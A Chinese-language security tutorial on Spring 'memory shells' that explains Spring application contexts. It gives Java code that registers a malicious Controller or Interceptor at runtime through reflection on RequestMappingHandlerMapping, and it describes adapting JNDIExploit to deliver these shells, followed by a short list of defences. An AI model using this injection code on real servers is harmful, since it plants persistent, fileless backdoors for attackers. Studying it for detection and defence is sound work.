初探Java安全之Spring内存马
字数 1593 2025-08-29 08:31:41

Spring内存马技术深入分析与实现

一、Spring核心概念基础

1. Bean概念

  • 定义:Bean是Spring框架的核心概念,是构成应用程序的主干对象
  • 特性
    • 由Spring IoC容器负责实例化、配置、组装和管理
    • 本质上是普通的Java对象
    • 通过配置元数据(XML、注解或Java代码)描述

2. ApplicationContext

  • 继承关系:ApplicationContext接口继承自BeanFactory接口
  • 功能
    • 代表IoC容器
    • 负责实例化、定位、配置应用程序中的对象及建立依赖关系
    • 扩展了基本容器的功能

3. ContextLoaderListener与DispatcherServlet

  • 典型web.xml配置
<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
    <servlet-name>dispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
  • Root Context与Child Context

    • 一个应用中可以有多个Context,但只有一个Root Context
    • 所有Child Context可以访问Root Context中定义的bean
    • Root Context无法访问Child Context中定义的bean
    • Context创建后都会被作为属性添加到ServletContext中
  • ContextLoaderListener

    • 初始化全局唯一的Root WebApplicationContext
    • 共享IoC容器供其他Child Context使用
  • DispatcherServlet

    • 每个DispatcherServlet创建一个Child Context
    • 代表独立的IoC容器

二、Spring Controller内存马实现

1. 获取Context的四种方法

  1. getCurrentWebApplicationContext()
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
  1. WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(
    RequestContextUtils.getWebApplicationContext(
        ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
    ).getServletContext()
);
  1. RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(
    ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
);
  1. getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

2. RequestMappingHandlerMapping

  • 作用:处理Controller中@RequestMapping注解的方法
  • 获取方法
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

3. 反射获取mappingRegistry属性

Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);

4. 注册Controller完整流程

@Controller
public class AddControllerMemshell {
    @RequestMapping(value = "/addcontroller")
    public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception {
        final String controllerPath = "/zh1z3ven";
        // 获取Context
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
            ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
        );
        
        // 获取RequestMappingHandlerMapping
        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 反射获取mappingRegistry
        Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
        f.setAccessible(true);
        Object mappingRegistry = f.get(mapping);
        
        // 检查URL是否已存在
        Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
        Field field = c.getDeclaredField("urlLookup");
        field.setAccessible(true);
        Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
        for (String urlPath : urlLookup.keySet()) {
            if (controllerPath.equals(urlPath)) {
                response.getWriter().println("controller url path exist already");
                return;
            }
        }
        
        // 构造RequestMappingInfo
        PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
        RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
        
        // 获取恶意Controller类
        Class<?> myClass = Util.getClass(CONTROLLER_CMDMEMSHELL_CLASS_STRING);
        
        // 反射调用register方法注册Controller
        Method[] ms = c.getDeclaredMethods();
        for (Method method : ms) {
            if ("register".equals(method.getName())) {
                method.setAccessible(true);
                method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
                response.getWriter().println("spring controller add");
            }
        }
    }
}

三、Spring Interceptor内存马实现

1. HandlerInterceptor接口

  • 三个核心方法
    • preHandle:controller方法执行前拦截
      • return true:放行
      • return false:不放行
    • postHandle:controller方法执行后,JSP视图执行前
    • afterCompletion:JSP执行后

2. 拦截器注册流程

@Controller
public class AddInterceptorMemshell {
    @RequestMapping(value = "/addinterceptor")
    public void addInterceptor(HttpServletRequest request, HttpServletResponse response) throws Exception {
        // 获取Context
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
            ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
        );
        
        // 获取RequestMappingHandlerMapping
        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 反射获取adaptedInterceptors属性
        Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
        f.setAccessible(true);
        List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
        
        // 添加恶意拦截器
        list.add((HandlerInterceptor)Util.getClass(Util.INTERCEPTOR_CMDMEMSHELL_CLASS_STRING).newInstance());
        response.getWriter().println("interceptor added");
    }
}

3. 拦截器初始化过程

  1. DispatcherServlet#doDispatch方法调用getHandler
  2. AbstractHandlerMapping#getHandler获取HandlerExecutionChain
  3. getHandlerExecutionChain方法通过HandlerExecutionChain#addInterceptor添加拦截器

四、JNDIExploit改造实践

1. 获取Context的替代方案

// 反射获取Context
Class RCHClass = Class.forName("org.springframework.web.context.request.RequestContextHolder");
ServletRequestAttributes servletRequestAttributes = (ServletRequestAttributes) RCHClass
    .getDeclaredMethod("currentRequestAttributes").invoke(RCHClass, null);

Class SRAClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
Method getRequestMethod = SRAClass.getDeclaredMethod("getRequest");

Class RCUClass = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");
Method findWebApplicationContextMethod = RCUClass.getMethod("findWebApplicationContext", HttpServletRequest.class);

WebApplicationContext context = (WebApplicationContext) findWebApplicationContextMethod.invoke(
    RCUClass, getRequestMethod.invoke(servletRequestAttributes)
);

2. 完整注入流程

// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

// 反射获取adaptedInterceptors并添加拦截器
Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
list.add((HandlerInterceptor) clazz.newInstance());

五、防御措施

  1. 监控Context修改:监控ApplicationContext的异常修改行为
  2. 检查注册的Controller:定期检查系统中注册的Controller列表
  3. 拦截器白名单:维护合法的拦截器白名单
  4. 运行时保护:使用RASP技术防护关键方法的调用
  5. 版本升级:及时更新Spring框架版本

六、参考资源

  1. Spring官方文档
  2. LandGrey师傅的Spring内存马分析
  3. su18师傅的Spring内存马实现思路
  4. JNDIExploit项目源码
  5. Behinder3/Godzilla4内存马实现
Spring内存马技术深入分析与实现 一、Spring核心概念基础 1. Bean概念 定义 :Bean是Spring框架的核心概念,是构成应用程序的主干对象 特性 : 由Spring IoC容器负责实例化、配置、组装和管理 本质上是普通的Java对象 通过配置元数据(XML、注解或Java代码)描述 2. ApplicationContext 继承关系 :ApplicationContext接口继承自BeanFactory接口 功能 : 代表IoC容器 负责实例化、定位、配置应用程序中的对象及建立依赖关系 扩展了基本容器的功能 3. ContextLoaderListener与DispatcherServlet 典型web.xml配置 : Root Context与Child Context : 一个应用中可以有多个Context,但只有一个Root Context 所有Child Context可以访问Root Context中定义的bean Root Context无法访问Child Context中定义的bean Context创建后都会被作为属性添加到ServletContext中 ContextLoaderListener : 初始化全局唯一的Root WebApplicationContext 共享IoC容器供其他Child Context使用 DispatcherServlet : 每个DispatcherServlet创建一个Child Context 代表独立的IoC容器 二、Spring Controller内存马实现 1. 获取Context的四种方法 getCurrentWebApplicationContext() WebApplicationContextUtils RequestContextUtils getAttribute 2. RequestMappingHandlerMapping 作用 :处理Controller中@RequestMapping注解的方法 获取方法 : 3. 反射获取mappingRegistry属性 4. 注册Controller完整流程 三、Spring Interceptor内存马实现 1. HandlerInterceptor接口 三个核心方法 : preHandle :controller方法执行前拦截 return true:放行 return false:不放行 postHandle :controller方法执行后,JSP视图执行前 afterCompletion :JSP执行后 2. 拦截器注册流程 3. 拦截器初始化过程 DispatcherServlet#doDispatch方法调用getHandler AbstractHandlerMapping#getHandler获取HandlerExecutionChain getHandlerExecutionChain方法通过HandlerExecutionChain#addInterceptor添加拦截器 四、JNDIExploit改造实践 1. 获取Context的替代方案 2. 完整注入流程 五、防御措施 监控Context修改 :监控ApplicationContext的异常修改行为 检查注册的Controller :定期检查系统中注册的Controller列表 拦截器白名单 :维护合法的拦截器白名单 运行时保护 :使用RASP技术防护关键方法的调用 版本升级 :及时更新Spring框架版本 六、参考资源 Spring官方文档 LandGrey师傅的Spring内存马分析 su18师傅的Spring内存马实现思路 JNDIExploit项目源码 Behinder3/Godzilla4内存马实现